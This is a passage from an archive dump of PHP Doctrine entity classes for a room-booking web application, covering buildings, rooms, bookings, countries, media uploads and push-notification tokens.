function setIsAdmin(?bool $isAdmin): self { $this->isAdmin = $isAdmin; return $this; } public function __toString() { // TODO: Implement __toString() method. return "(".$this->id.")". $this->getWebAgent(); } public function getCountryCode(): ?string { return $this->countryCode; } public function setCountryCode(?string $countryCode): self { $this->countryCode = $countryCode; return $this; } } Entity/ResetPasswordRequest.php 0000644 00000002036 15117152230 0012705 0 ustar 00 <?php namespace App\Entity; use App\Repository\ResetPasswordRequestRepository; use Doctrine\ORM\Mapping as ORM; use SymfonyCasts\Bundle\ResetPassword\Model\ResetPasswordRequestInterface; use SymfonyCasts\Bundle\ResetPassword\Model\ResetPasswordRequestTrait; /** * @ORM\Entity(repositoryClass=ResetPasswordRequestRepository::class) */ class ResetPasswordRequest implements ResetPasswordRequestInterface { use ResetPasswordRequestTrait; /** * @ORM\Id * @ORM\GeneratedValue * @ORM\Column(type="integer") */ private $id; /** * @ORM\ManyToOne(targetEntity=User::class) * @ORM\JoinColumn(nullable=false) */ private $user; public function __construct(object $user, \DateTimeInterface $expiresAt, string $selector, string $hashedToken) { $this->user = $user; $this->initialize($expiresAt, $selector, $hashedToken); } public function getId(): ?int { return $this->id; } public function getUser(): object { return $this->user; } } Entity/FirebaseToken.php 0000644 00000006445 15117152230 0011260 0 ustar 00 <?php namespace App\Entity; use App\Repository\FirebaseTokenRepository; use Doctrine\Common\Collections\ArrayCollection; use Doctrine\Common\Collections\Collection; use Doctrine\ORM\Mapping as ORM; use ApiPlatform\Core\Annotation\ApiResource; /** * @ApiResource() * @ORM\Entity(repositoryClass=FirebaseTokenRepository::class) */ class FirebaseToken { /** * @ORM\Id * @ORM\GeneratedValue * @ORM\Column(type="integer") */ private $id; /** * @ORM\Column(type="string", length=10000, nullable=true) */ private $deviseId; /** * @ORM\ManyToOne(targetEntity=Company::class, inversedBy="firebaseTokens") */ private $company; /** * @ORM\Column(type="datetime_immutable", nullable=true) */ private $createdAt; /** * @ORM\Column(type="string", length=255, nullable=true) */ private $ipAddress; /** * @ORM\Column(type="string", length=255, nullable=true) */ private $osModel; /** * @ORM\ManyToMany(targetEntity=NotificationPush::class, mappedBy="firebaseToken") */ private $notificationPushes; public function __construct() { $this->notificationPushes = new ArrayCollection(); $this->createdAt = new \DateTimeImmutable(); } public function getId(): ?int { return $this->id; } public function getDeviseId(): ?string { return $this->deviseId; } public function setDeviseId(?string $deviseId): self { $this->deviseId = $deviseId; return $this; } public function getCompany(): ?Company { return $this->company; } public function setCompany(?Company $company): self { $this->company = $company; return $this; } public function getCreatedAt(): ?\DateTimeImmutable { return $this->createdAt; } public function setCreatedAt(?\DateTimeImmutable $createdAt): self { $this->createdAt = $createdAt; return $this; } public function getIpAddress(): ?string { return $this->ipAddress; } public function setIpAddress(?string $ipAddress): self { $this->ipAddress = $ipAddress; return $this; } public function getOsModel(): ?string { return $this->osModel; } public function setOsModel(?string $osModel): self { $this->osModel = $osModel; return $this; } /** * @return Collection<int, NotificationPush> */ public function getNotificationPushes(): Collection { return $this->notificationPushes; } public function addNotificationPush(NotificationPush $notificationPush): self { if (!$this->notificationPushes->contains($notificationPush)) { $this->notificationPushes[] = $notificationPush; $notificationPush->addFirebaseToken($this); } return $this; } public function removeNotificationPush(NotificationPush $notificationPush): self { if ($this->notificationPushes->removeElement($notificationPush)) { $notificationPush->removeFirebaseToken($this); } return $this; } public function __toString() { // TODO: Implement __toString() method. return $this->osModel; } } Entity/NotificationPush.php 0000644 00000007764 15117152230 0012032 0 ustar 00 <?php namespace App\Entity; use App\Repository\NotificationPushRepository; use Doctrine\Common\Collections\ArrayCollection; use Doctrine\Common\Collections\Collection; use ApiPlatform\Core\Annotation\ApiResource; use Doctrine\ORM\Mapping as ORM; /** * @ApiResource() * @ORM\Entity(repositoryClass=NotificationPushRepository::class) */ class NotificationPush { /** * @ORM\Id * @ORM\GeneratedValue * @ORM\Column(type="integer") */ private $id; /** * @ORM\Column(type="string", length=255, nullable=true) */ private $title; /** * @ORM\Column(type="string", length=255, nullable=true) */ private $message; /** * @ORM\Column(type="string", length=1000, nullable=true) */ private $image; /** * @ORM\Column(type="string", length=255, nullable=true) */ private $action; /** * @ORM\Column(type="string", length=1000, nullable=true) */ private $data; /** * @ORM\Column(type="string", length=255, nullable=true) */ private $actionDestination; /** * @ORM\ManyToMany(targetEntity=FirebaseToken::class, inversedBy="notificationPushes") */ private $firebaseToken; /** * @ORM\Column(type="datetime_immutable") */ private $createdAt; /** * @ORM\Column(type="boolean", nullable=true) */ private $hasBeenSent; public function __construct() { $this->firebaseToken = new ArrayCollection(); $this->createdAt = new \DateTimeImmutable(); } public function getId(): ?int { return $this->id; } public function getTitle(): ?string { return $this->title; } public function setTitle(?string $title): self { $this->title = $title; return $this; } public function getMessage(): ?string { return $this->message; } public function setMessage(?string $message): self { $this->message = $message; return $this; } public function getImage(): ?string { return $this->image; } public function setImage(?string $image): self { $this->image = $image; return $this; } public function getAction(): ?string { return $this->action; } public function setAction(?string $action): self { $this->action = $action; return $this; } public function getData(): ?string { return $this->data; } public function setData(?string $data): self { $this->data = $data; return $this; } public function getActionDestination(): ?string { return $this->actionDestination; } public function setActionDestination(?string $actionDestination): self { $this->actionDestination = $actionDestination; return $this; } /** * @return Collection<int, FirebaseToken> */ public function getFirebaseToken(): Collection { return $this->firebaseToken; } public function addFirebaseToken(FirebaseToken $firebaseToken): self { if (!$this->firebaseToken->contains($firebaseToken)) { $this->firebaseToken[] = $firebaseToken; } return $this; } public function removeFirebaseToken(FirebaseToken $firebaseToken): self { $this->firebaseToken->removeElement($firebaseToken); return $this; } public function getCreatedAt(): ?\DateTimeImmutable { return $this->createdAt; } public function setCreatedAt(\DateTimeImmutable $createdAt): self { $this->createdAt = $createdAt; return $this; } public function isHasBeenSent(): ?bool { return $this->hasBeenSent; } public function setHasBeenSent(?bool $hasBeenSent): self { $this->hasBeenSent = $hasBeenSent; return $this; } public function __toString() { // TODO: Implement __toString() method. return $this->message; } } Entity/Background.php 0000644 00000006715 15117152230 0010616 0 ustar 00 <?php namespace App\Entity; use ApiPlatform\Core\Annotation\ApiResource; use App\Repository\BackgroundRepository; use Doctrine\Common\Collections\ArrayCollection; use Doctrine\ORM\Mapping as ORM; /** * @ApiResource() * @ORM\Entity(repositoryClass=BackgroundRepository::class) */ class Background { /** * @ORM\Id() * @ORM\GeneratedValue() * @ORM\Column(type="integer") */ private $id; /** * @ORM\Column(type="string", length=255) */ private $title; /** * @ORM\Column(type="text", nullable=true) */ private $message; /** * @ORM\ManyToOne(targetEntity=MediaObject::class) */ private $picture; /** * @ORM\Column(type="boolean", nullable=true) */ private $active; /** * @ORM\Column(type="datetime") */ private $createdAt; /** * @ORM\ManyToOne(targetEntity=User::class) */ private $createdBy; /** * @ORM\Column(type="integer") */ private $position; /** * @ORM\Column(type="text", nullable=true) */ private $message_en; /** * @ORM\Column(type="string", length=255, nullable=true) */ private $title_en; public function getId(): ?int { return $this->id; } public function getTitle(): ?string { return $this->title; } public function setTitle(string $title): self { $this->title = $title; return $this; } public function getMessage(): ?string { return $this->message; } public function setMessage(?string $message): self { $this->message = $message; return $this; } public function getPicture(): ?MediaObject { return $this->picture; } public function setPicture(?MediaObject $picture): self { $this->picture = $picture; return $this; } public function getActive(): ?bool { return $this->active; } public function setActive(?bool $active): self { $this->active = $active; return $this; } public function getCreatedAt(): ?\DateTimeInterface { return $this->createdAt; } public function setCreatedAt(\DateTimeInterface $createdAt): self { $this->createdAt = $createdAt; return $this; } public function getCreatedBy(): ?User { return $this->createdBy; } public function setCreatedBy(?User $createdBy): self { $this->createdBy = $createdBy; return $this; } public function __construct() { $this->active = false; $this->position = 0; $this->createdAt = new \DateTime( ); } public function getPosition(): ?int { return $this->position; } public function setPosition(int $position): self { $this->position = $position; return $this; } public function getMessageEn(): ?string { return $this->message_en; } public function setMessageEn(?string $message_en): self { $this->message_en = $message_en; return $this; } public function getTitleEn(): ?string { return $this->title_en; } public function setTitleEn(?string $title_en): self { $this->title_en = $title_en; return $this; } public function __toString() { // TODO: Implement __toString() method. return "(".$this->id.")". $this->title_en; } } Entity/BuildingType.php 0000644 00000005040 15117152230 0011124 0 ustar 00 <?php namespace App\Entity; use ApiPlatform\Core\Annotation\ApiResource; use App\Repository\BuildingTypeRepository; use Doctrine\Common\Collections\ArrayCollection; use Doctrine\Common\Collections\Collection; use Doctrine\ORM\Mapping as ORM; /** * @ApiResource() * @ORM\Entity(repositoryClass=BuildingTypeRepository::class) */ class BuildingType { /** * @ORM\Id() * @ORM\GeneratedValue() * @ORM\Column(type="integer") */ private $id; /** * @ORM\Column(type="string", length=255) */ private $type; /** * @ORM\Column(type="datetime") */ private $createdAt; /** * @ORM\OneToMany(targetEntity=Building::class, mappedBy="type", orphanRemoval=true) */ private $buildings; /** * @ORM\Column(type="boolean", nullable=true) */ private $enable; public function __construct() { $this->buildings = new ArrayCollection(); } public function getId(): ?int { return $this->id; } public function getType(): ?string { return $this->type; } public function setType(string $type): self { $this->type = $type; return $this; } public function getCreatedAt(): ?\DateTimeInterface { return $this->createdAt; } public function setCreatedAt(\DateTimeInterface $createdAt): self { $this->createdAt = $createdAt; return $this; } /** * @return Collection|Building[] */ public function getBuildings(): Collection { return $this->buildings; } public function addBuilding(Building $building): self { if (!$this->buildings->contains($building)) { $this->buildings[] = $building; $building->setType($this); $this->enable=false; } return $this; } public function removeBuilding(Building $building): self { if ($this->buildings->contains($building)) { $this->buildings->removeElement($building); // set the owning side to null (unless already changed) if ($building->getType() === $this) { $building->setType(null); } } return $this; } public function __toString() { // TODO: Implement __toString() method. return $this->type; } public function isEnable(): ?bool { return $this->enable; } public function setEnable(?bool $enable): self { $this->enable = $enable; return $this; } } Entity/Building.php 0000644 00000014616 15117152230 0010273 0 ustar 00 <?php namespace App\Entity; use ApiPlatform\Core\Annotation\ApiResource; use App\Repository\BuildingRepository; use Doctrine\Common\Collections\ArrayCollection; use Doctrine\Common\Collections\Collection; use Doctrine\ORM\Mapping as ORM; /** * @ApiResource() * @ORM\Entity(repositoryClass=BuildingRepository::class) */ class Building { /** * @ORM\Id() * @ORM\GeneratedValue() * @ORM\Column(type="integer") */ private $id; /** * @ORM\ManyToOne(targetEntity=Company::class, inversedBy="buildings") * @ORM\JoinColumn(nullable=false) */ private $company; /** * @ORM\ManyToOne(targetEntity=Address::class) * @ORM\JoinColumn(nullable=false) */ private $address; /** * @ORM\ManyToOne(targetEntity=MediaObject::class) */ private $picture1; /** * @ORM\ManyToOne(targetEntity=MediaObject::class) */ private $picture2; /** * @ORM\ManyToOne(targetEntity=MediaObject::class) */ private $picture3; /** * @ORM\Column(type="string", length=255) */ private $designation; /** * @ORM\Column(type="decimal", precision=60, scale=10) */ private $area; /** * @ORM\Column(type="integer") */ private $numberOfPieces; /** * @ORM\Column(type="string", length=255) */ private $code; /** * @ORM\ManyToOne(targetEntity=BuildingType::class, inversedBy="buildings") * @ORM\JoinColumn(nullable=false) */ private $type; /** * @ORM\ManyToOne(targetEntity=User::class) */ private $createdBy; /** * @ORM\Column(type="datetime") */ private $createdAt; /** * @ORM\OneToMany(targetEntity=Room::class, mappedBy="building", orphanRemoval=true) */ private $rooms; /** * @ORM\ManyToOne(targetEntity=BuildingOption::class) */ private $options; /** * @ORM\Column(type="text", nullable=true) */ private $description; /** * @ORM\Column(type="boolean", nullable=true) */ private $active; public function getId(): ?int { return $this->id; } public function __construct() { $this->active = false; $this->createdAt = new \DateTime( ); $this->rooms = new ArrayCollection(); } public function getCompany(): ?Company { return $this->company; } public function setCompany(?Company $company): self { $this->company = $company; return $this; } public function getAddress(): ?Address { return $this->address; } public function setAddress(?Address $address): self { $this->address = $address; return $this; } public function getPicture1(): ?MediaObject { return $this->picture1; } public function setPicture1(?MediaObject $picture1): self { $this->picture1 = $picture1; return $this; } public function getPicture2(): ?MediaObject { return $this->picture2; } public function setPicture2(?MediaObject $picture2): self { $this->picture2 = $picture2; return $this; } public function getPicture3(): ?MediaObject { return $this->picture3; } public function setPicture3(?MediaObject $picture3): self { $this->picture3 = $picture3; return $this; } public function getDesignation(): ?string { return $this->designation; } public function setDesignation(string $designation): self { $this->designation = $designation; return $this; } public function getArea(): ?string { return $this->area; } public function setArea(string $area): self { $this->area = $area; return $this; } public function getNumberOfPieces(): ?int { return $this->numberOfPieces; } public function setNumberOfPieces(int $numberOfPieces): self { $this->numberOfPieces = $numberOfPieces; return $this; } public function getCode(): ?string { return $this->code; } public function setCode(string $code): self { $this->code = $code; return $this; } public function getType(): ?BuildingType { return $this->type; } public function setType(?BuildingType $type): self { $this->type = $type; return $this; } public function getCreatedBy(): ?User { return $this->createdBy; } public function setCreatedBy(?User $createdBy): self { $this->createdBy = $createdBy; return $this; } public function getCreatedAt(): ?\DateTimeInterface { return $this->createdAt; } public function setCreatedAt(\DateTimeInterface $createdAt): self { $this->createdAt = $createdAt; return $this; } /** * @return Collection|Room[] */ public function getRooms(): Collection { return $this->rooms; } public function addRoom(Room $room): self { if (!$this->rooms->contains($room)) { $this->rooms[] = $room; $room->setBuilding($this); } return $this; } public function removeRoom(Room $room): self { if ($this->rooms->contains($room)) { $this->rooms->removeElement($room); // set the owning side to null (unless already changed) if ($room->getBuilding() === $this) { $room->setBuilding(null); } } return $this; } public function getOptions(): ?BuildingOption { return $this->options; } public function setOptions(?BuildingOption $options): self { $this->options = $options; return $this; } public function getDescription(): ?string { return $this->description; } public function setDescription(?string $description): self { $this->description = $description; return $this; } public function __toString() { // TODO: Implement __toString() method. return $this->designation." - ".$this->getCompany()->getCompanyName(); } public function isActive(): ?bool { return $this->active; } public function setActive(?bool $active): self { $this->active = $active; return $this; } } Entity/Country.php 0000644 00000016611 15117152230 0010176 0 ustar 00 <?php namespace App\Entity; use ApiPlatform\Core\Annotation\ApiResource; use App\Repository\CountryRepository; use Doctrine\Common\Collections\ArrayCollection; use Doctrine\Common\Collections\Collection; use Doctrine\ORM\Mapping as ORM; /** * @ApiResource() * @ORM\Entity(repositoryClass=CountryRepository::class) */ class Country { /** * @ORM\Id() * @ORM\GeneratedValue() * @ORM\Column(type="integer") */ private $id; /** * @ORM\Column(type="string", length=255,unique=true) */ private $countryName; /** * @ORM\OneToOne(targetEntity=MediaObject::class, cascade={"persist", "remove"}) */ private $countryFlag; /** * @ORM\Column(type="datetime") */ private $createdAt; /** * @ORM\OneToMany(targetEntity=Town::class, mappedBy="country") */ private $towns; /** * @ORM\Column(type="string", length=255,unique=true) */ private $code; /** * @ORM\Column(type="string", length=255, nullable=true) */ private $capital; /** * @ORM\Column(type="string", length=255, nullable=true) */ private $callingCode; /** * @ORM\Column(type="string", length=255, nullable=true) */ private $region; /** * @ORM\Column(type="integer") */ private $population; /** * @ORM\Column(type="string", length=255) */ private $timeZone; /** * @ORM\Column(type="decimal", precision=30, scale=10, nullable=true) */ private $latitude; /** * @ORM\Column(type="decimal", precision=30, scale=10, nullable=true) */ private $longitude; /** * @ORM\Column(type="integer", nullable=true) */ private $offset; /** * @ORM\OneToMany(targetEntity=PaymentOption::class, mappedBy="country") */ private $paymentOptions; /** * @ORM\OneToMany(targetEntity=PaymentProvider::class, mappedBy="country") */ private $paymentProviders; public function __construct() { $this->salePoints = new ArrayCollection(); $this->createdAt = new \DateTime( ); $this->towns = new ArrayCollection(); $this->paymentOptions = new ArrayCollection(); $this->paymentProviders = new ArrayCollection(); } public function getId(): ?int { return $this->id; } public function getCountryName(): ?string { return $this->countryName; } public function setCountryName(string $countryName): self { $this->countryName = $countryName; return $this; } public function getCountryFlag(): ?MediaObject { return $this->countryFlag; } public function setCountryFlag(?MediaObject $countryFlag): self { $this->countryFlag = $countryFlag; return $this; } public function getCreatedAt(): ?\DateTimeInterface { return $this->createdAt; } public function setCreatedAt(\DateTimeInterface $createdAt): self { $this->createdAt = $createdAt; return $this; } /** * @return Collection|Town[] */ public function getTowns(): Collection { return $this->towns; } public function addTown(Town $town): self { if (!$this->towns->contains($town)) { $this->towns[] = $town; $town->setCountry($this); } return $this; } public function removeTown(Town $town): self { if ($this->towns->contains($town)) { $this->towns->removeElement($town); // set the owning side to null (unless already changed) if ($town->getCountry() === $this) { $town->setCountry(null); } } return $this; } public function getCode(): ?string { return $this->code; } public function setCode(string $code): self { $this->code = $code; return $this; } public function getCapital(): ?string { return $this->capital; } public function setCapital(?string $capital): self { $this->capital = $capital; return $this; } public function getCallingCode(): ?string { return $this->callingCode; } public function setCallingCode(?string $callingCode): self { $this->callingCode = $callingCode; return $this; } public function getRegion(): ?string { return $this->region; } public function setRegion(?string $region): self { $this->region = $region; return $this; } public function getPopulation(): ?string { return $this->population; } public function setPopulation(string $population): self { $this->population = $population; return $this; } public function getTimeZone(): ?string { return $this->timeZone; } public function setTimeZone(string $timeZone): self { $this->timeZone = $timeZone; return $this; } public function getLatitude(): ?string { return $this->latitude; } public function setLatitude(?string $latitude): self { $this->latitude = $latitude; return $this; } public function getLongitude(): ?string { return $this->longitude; } public function setLongitude(?string $longitude): self { $this->longitude = $longitude; return $this; } public function __toString() { // TODO: Implement __toString() method. return $this->countryName; } public function getOffset(): ?int { return $this->offset; } public function setOffset(?int $offset): self { $this->offset = $offset; return $this; } /** * @return Collection<int, PaymentOption> */ public function getPaymentOptions(): Collection { return $this->paymentOptions; } public function addPaymentOption(PaymentOption $paymentOption): self { if (!$this->paymentOptions->contains($paymentOption)) { $this->paymentOptions[] = $paymentOption; $paymentOption->setCountry($this); } return $this; } public function removePaymentOption(PaymentOption $paymentOption): self { if ($this->paymentOptions->removeElement($paymentOption)) { // set the owning side to null (unless already changed) if ($paymentOption->getCountry() === $this) { $paymentOption->setCountry(null); } } return $this; } /** * @return Collection<int, PaymentProvider> */ public function getPaymentProviders(): Collection { return $this->paymentProviders; } public function addPaymentProvider(PaymentProvider $paymentProvider): self { if (!$this->paymentProviders->contains($paymentProvider)) { $this->paymentProviders[] = $paymentProvider; $paymentProvider->setCountry($this); } return $this; } public function removePaymentProvider(PaymentProvider $paymentProvider): self { if ($this->paymentProviders->removeElement($paymentProvider)) { // set the owning side to null (unless already changed) if ($paymentProvider->getCountry() === $this) { $paymentProvider->setCountry(null); } } return $this; } } Entity/MediaObject.php 0000644 00000012063 15117152230 0010676 0 ustar 00 <?php /** * Created by PhpStorm. * User: user * Date: 02/07/2020 * Time: 10:24 */ namespace App\Entity; use ApiPlatform\Core\Annotation\ApiProperty; use ApiPlatform\Core\Annotation\ApiResource; use App\Controller\CreateMediaObjectAction; use Doctrine\ORM\Mapping as ORM; use Symfony\Component\HttpFoundation\File\File; use Symfony\Component\Serializer\Annotation\Groups; use Symfony\Component\Validator\Constraints as Assert; use Vich\UploaderBundle\Mapping\Annotation as Vich; use App\Repository\MediaObjectRepository; /** * @ORM\Entity * @ApiResource( * iri="http://schema.org/MediaObject", * normalizationContext={ * "groups"={"media_object_read"} * }, * collectionOperations={ * "post"={ * "controller"=CreateMediaObjectAction::class, * "deserialize"=false, * "security"="is_granted('ROLE_USER')", * "validation_groups"={"Default", "media_object_create"}, * "openapi_context"={ * "requestBody"={ * "content"={ * "multipart/form-data"={ * "schema"={ * "type"="object", * "properties"={ * "file"={ * "type"="string", * "format"="binary" * }, * "file_type"={ * "type"="string", * "exemple"="user" * }, * "directory"={ * "type"="string", * "exemple"="user" * }, * } * } * } * } * } * } * }, * "get"= * { * "security"="is_granted('ROLE_USER')", * "validation_groups"={"Default", "media_object_create"}, * } * }, * itemOperations={ * "get" * } * ) * @ORM\Entity(repositoryClass= MediaObjectRepository::class) * @Vich\Uploadable */ class MediaObject { /** * @var int|null * * @ORM\Column(type="integer") * @ORM\GeneratedValue * @ORM\Id * @Groups({"media_object_read"}) */ protected $id; /** * @var string|null * * @ApiProperty(iri="http://schema.org/contentUrl") * @Groups({"media_object_read"}) */ public $contentUrl; /** * @var File|null * * @Assert\NotNull(groups={"media_object_create"}) * @Vich\UploadableField(mapping="media_object", fileNameProperty="filePath", mimeType="image/*") */ public $file; /** * @var string|null * @Groups({"media_object_read"}) * @ORM\Column(nullable=true) */ public $filePath; /** * @ORM\Column(type="datetime", nullable=true) */ private $createdAt; /** * @Assert\NotNull(groups={"media_object_create"}) * @Groups({"media_object_read"}) * @ORM\Column(type="string", length=255, nullable=false) */ private $fileType; /** * @Assert\NotNull(groups={"media_object_create"}) * @Groups({"media_object_read"}) * @ORM\Column(type="string", length=255, nullable=true) */ private $directory; public function getId(): ?int { return $this->id; } public function getFilePath(): ?string { return $this->directory."/".$this->filePath; } public function getCreatedAt(): ?\DateTimeInterface { return $this->createdAt; } public function setCreatedAt(?\DateTimeInterface $createdAt): self { $this->createdAt = $createdAt; return $this; } public function __construct() { $this->createdAt = new \DateTime( ); } public function __toString() { // TODO: Implement __toString() method. return $this->directory."/". $this->filePath; } /** * @return string|null */ public function getContentUrl(): ?string { return $this->contentUrl; } /** * @param string|null $filepath */ public function setFilePath(?string $filepath): void { $this->filePath = $filepath; } public function getFileType(): ?string { return $this->fileType; } public function setFileType(?string $fileType): self { $this->fileType = $fileType; return $this; } public function getDirectory(): ?string { return $this->directory; } public function setDirectory(?string $directory): self { $this->directory = $directory; return $this; } } Entity/Room.php 0000644 00000015407 15117152230 0007451 0 ustar 00 <?php namespace App\Entity; use ApiPlatform\Core\Annotation\ApiResource; use App\Repository\RoomRepository; use Doctrine\Common\Collections\ArrayCollection; use Doctrine\Common\Collections\Collection; use Doctrine\ORM\Mapping as ORM; /** * @ApiResource() * @ORM\Entity(repositoryClass=RoomRepository::class) */ class Room { /** * @ORM\Id() * @ORM\GeneratedValue() * @ORM\Column(type="integer") */ private $id; /** * @ORM\Column(type="string", length=255) */ private $code; /** * @ORM\ManyToOne(targetEntity=RoomOption::class) * @ORM\JoinColumn(nullable=false) */ private $options; /** * @ORM\Column(type="integer") */ private $numberOfPiece; /** * @ORM\Column(type="string", length=2000, nullable=true) */ private $description; /** * @ORM\Column(type="integer") */ private $cost; /** * @ORM\Column(type="integer") */ private $capacity; /** * @ORM\ManyToOne(targetEntity=Building::class, inversedBy="rooms") * @ORM\JoinColumn(nullable=false) */ private $building; /** * @ORM\ManyToOne(targetEntity=User::class) */ private $createdBy; /** * @ORM\Column(type="datetime") */ private $createdAt; /** * @ORM\ManyToOne(targetEntity=RoomType::class) */ private $roomType; /** * @ORM\OneToMany(targetEntity=BookingRoom::class, mappedBy="room") */ private $bookingRooms; /** * @ORM\ManyToOne(targetEntity=MediaObject::class) * @ORM\JoinColumn(nullable=true) */ private $picture1; /** * @ORM\ManyToOne(targetEntity=MediaObject::class) * @ORM\JoinColumn(nullable=true) */ private $picture; /** * @ORM\ManyToOne(targetEntity=MediaObject::class) * @ORM\JoinColumn(nullable=true) */ private $picture2; /** * @ORM\Column(type="boolean") */ private $isFree; /** * @ORM\Column(type="integer", nullable=true) */ private $costPerMonth; /** * @ORM\Column(type="boolean", nullable=true) */ private $payBefore; public function __construct() { $this->bookingRooms = new ArrayCollection(); $this->isFree = true; $this->payBefore = false; } public function getId(): ?int { return $this->id; } public function getCode(): ?string { return $this->code; } public function setCode(string $code): self { $this->code = $code; return $this; } public function getOptions(): ?RoomOption { return $this->options; } public function setOptions(?RoomOption $options): self { $this->options = $options; return $this; } public function getNumberOfPiece(): ?int { return $this->numberOfPiece; } public function setNumberOfPiece(int $numberOfPiece): self { $this->numberOfPiece = $numberOfPiece; return $this; } public function getDescription(): ?string { return $this->description; } public function setDescription(?string $description): self { $this->description = $description; return $this; } public function getCost(): ?int { return $this->cost; } public function setCost(int $cost): self { $this->cost = $cost; return $this; } public function getCapacity(): ?int { return $this->capacity; } public function setCapacity(int $capacity): self { $this->capacity = $capacity; return $this; } public function getBuilding(): ?Building { return $this->building; } public function setBuilding(?Building $building): self { $this->building = $building; return $this; } public function getCreatedBy(): ?User { return $this->createdBy; } public function setCreatedBy(?User $createdBy): self { $this->createdBy = $createdBy; return $this; } public function getCreatedAt(): ?\DateTimeInterface { return $this->createdAt; } public function setCreatedAt(\DateTimeInterface $createdAt): self { $this->createdAt = $createdAt; return $this; } public function __toString() { // TODO: Implement __toString() method. return $this->code." ".$this->getBuilding()->getDesignation()." (".$this->getCost()." Xaf)"; } public function getRoomType(): ?RoomType { return $this->roomType; } public function setRoomType(?RoomType $roomType): self { $this->roomType = $roomType; return $this; } /** * @return Collection<int, BookingRoom> */ public function getBookingRooms(): Collection { return $this->bookingRooms; } public function addBookingRoom(BookingRoom $bookingRoom): self { if (!$this->bookingRooms->contains($bookingRoom)) { $this->bookingRooms[] = $bookingRoom; $bookingRoom->setRoom($this); } return $this; } public function removeBookingRoom(BookingRoom $bookingRoom): self { if ($this->bookingRooms->removeElement($bookingRoom)) { // set the owning side to null (unless already changed) if ($bookingRoom->getRoom() === $this) { $bookingRoom->setRoom(null); } } return $this; } public function getPicture1(): ?MediaObject { return $this->picture1; } public function setPicture1(?MediaObject $picture1): self { $this->picture1 = $picture1; return $this; } public function getPicture(): ?MediaObject { return $this->picture; } public function setPicture(?MediaObject $picture): self { $this->picture = $picture; return $this; } public function getPicture2(): ?MediaObject { return $this->picture2; } public function setPicture2(?MediaObject $picture2): self { $this->picture2 = $picture2; return $this; } public function isIsFree(): ?bool { return $this->isFree; } public function setIsFree(bool $isFree): self { $this->isFree = $isFree; return $this; } public function getCostPerMonth(): ?int { return $this->costPerMonth; } public function setCostPerMonth(?int $costPerMonth): self { $this->costPerMonth = $costPerMonth; return $this; } public function isPayBefore(): ?bool { return $this->payBefore; } public function setPayBefore(?bool $payBefore): self { $this->payBefore = $payBefore; return $this; } } Entity/BookingRoom.php 0000644 00000015344 15117152230 0010762 0 ustar 00 <?php namespace App\Entity; use ApiPlatform\Core\Annotation\ApiResource; use App\Repository\BookingRoomRepository; use Doctrine\Common\Collections\ArrayCollection; use Doctrine\ORM\Mapping as ORM; /** * @ApiResource() * @ORM\Entity(repositoryClass=BookingRoomRepository::class) */ class BookingRoom { /** * @ORM\Id * @ORM\GeneratedValue * @ORM\Column(type="integer") */ private $id; /** * @ORM\ManyToOne(targetEntity=User::class, inversedBy="bookingRooms") * @ORM\JoinColumn(nullable=false) */ private $user; /** * @ORM\ManyToOne(targetEntity=Town::class) */ private $comingFrom; /** * @ORM\Column(type="datetime") */ private $arrivalDate; /** * @ORM\Column(type="datetime") */ private $departureDate; /** * @ORM\Column(type="integer", nullable=true) */ private $child; /** * @ORM\Column(type="integer", nullable=true) */ private $adult; /** * @ORM\ManyToOne(targetEntity=Room::class, inversedBy="bookingRooms") * @ORM\JoinColumn(nullable=false) */ private $room; /** * @ORM\Column(type="datetime_immutable") */ private $createdAt; /** * @ORM\OneToOne(targetEntity=Payment::class, mappedBy="booking", cascade={"persist", "remove"}) */ private $payment; /** * @ORM\Column(type="boolean", nullable=true) */ private $hasVue; /** * @ORM\Column(type="boolean", nullable=true, options={"default" = 0}) */ private $paymentAsBeenConfirmed; /** * @ORM\Column(type="string", length=1000, nullable=true) */ private $paymentLink; /** * @ORM\Column(type="string", length=1000, nullable=true) */ private $paymentNotificationLink; public function getId(): ?int { return $this->id; } public function getUser(): ?User { return $this->user; } public function setUser(?User $user): self { $this->user = $user; return $this; } public function getComingFrom(): ?Town { return $this->comingFrom; } public function setComingFrom(?Town $comingFrom): self { $this->comingFrom = $comingFrom; return $this; } public function getArrivalDate(): ?\DateTimeInterface { return $this->arrivalDate; } public function setArrivalDate(\DateTimeInterface $arrivalDate): self { $this->arrivalDate = $arrivalDate; return $this; } public function getDepartureDate(): ?\DateTimeInterface { return $this->departureDate; } public function setDepartureDate(\DateTimeInterface $departureDate): self { $this->departureDate = $departureDate; return $this; } public function getChild(): ?int { return $this->child; } public function setChild(?int $child): self { $this->child = $child; return $this; } public function getAdult(): ?int { return $this->adult; } public function setAdult(?int $adult): self { $this->adult = $adult; return $this; } public function getRoom(): ?Room { return $this->room; } public function setRoom(?Room $room): self { $this->room = $room; return $this; } public function getCreatedAt(): ?\DateTimeImmutable { return $this->createdAt; } public function setCreatedAt(\DateTimeImmutable $createdAt): self { $this->createdAt = $createdAt; return $this; } public function getPayment(): ?Payment { return $this->payment; } public function setPayment(Payment $payment): self { // set the owning side of the relation if necessary if ($payment->getBooking() !== $this) { $payment->setBooking($this); } $this->payment = $payment; return $this; } public function __construct() { $this->createdAt = new \DateTimeImmutable( ); $this->hasVue = false; $this->paymentAsBeenConfirmed = false; } public function __toString() { // TODO: Implement __toString() method. if(!is_null($this->getPayment())){ if(!is_null($this->getPayment()->getPaymentOption())){ return $this->getRoom()->getBuilding()->getCompany()->getCompanyName() ." ".$this->getRoom()->getBuilding()->getDesignation() ." Room:".$this->getRoom()->getCode() ." Arrival:".$this->getArrivalDate()->format('Y-m-d H:i:s') ." Depart:".$this->getDepartureDate()->format('Y-m-d H:i:s') ." Via ".$this->getPayment()->getPaymentOption()->getPaymentName() ." (".$this->getPayment()->getAmount()." xaf)"; }else{ return $this->getRoom()->getBuilding()->getCompany()->getCompanyName() ." ".$this->getRoom()->getBuilding()->getDesignation() ." Room:".$this->getRoom()->getCode() ." Arrival:".$this->getArrivalDate()->format('Y-m-d H:i:s') ." Depart:".$this->getDepartureDate()->format('Y-m-d H:i:s') ." (".$this->getPayment()->getAmount()." xaf)"; } }else{ return $this->getRoom()->getBuilding()->getCompany()->getCompanyName() ." ".$this->getRoom()->getBuilding()->getDesignation() ." Room:".$this->getRoom()->getCode() ." Arrival:".$this->getArrivalDate()->format('Y-m-d H:i:s') ." Depart:".$this->getDepartureDate()->format('Y-m-d H:i:s') ; } } public function isHasVue(): ?bool { return $this->hasVue; } public function setHasVue(?bool $hasVue): self { $this->hasVue = $hasVue; return $this; } public function isPaymentAsBeenConfirmed(): ?bool { return $this->paymentAsBeenConfirmed; } public function setPaymentAsBeenConfirmed(?bool 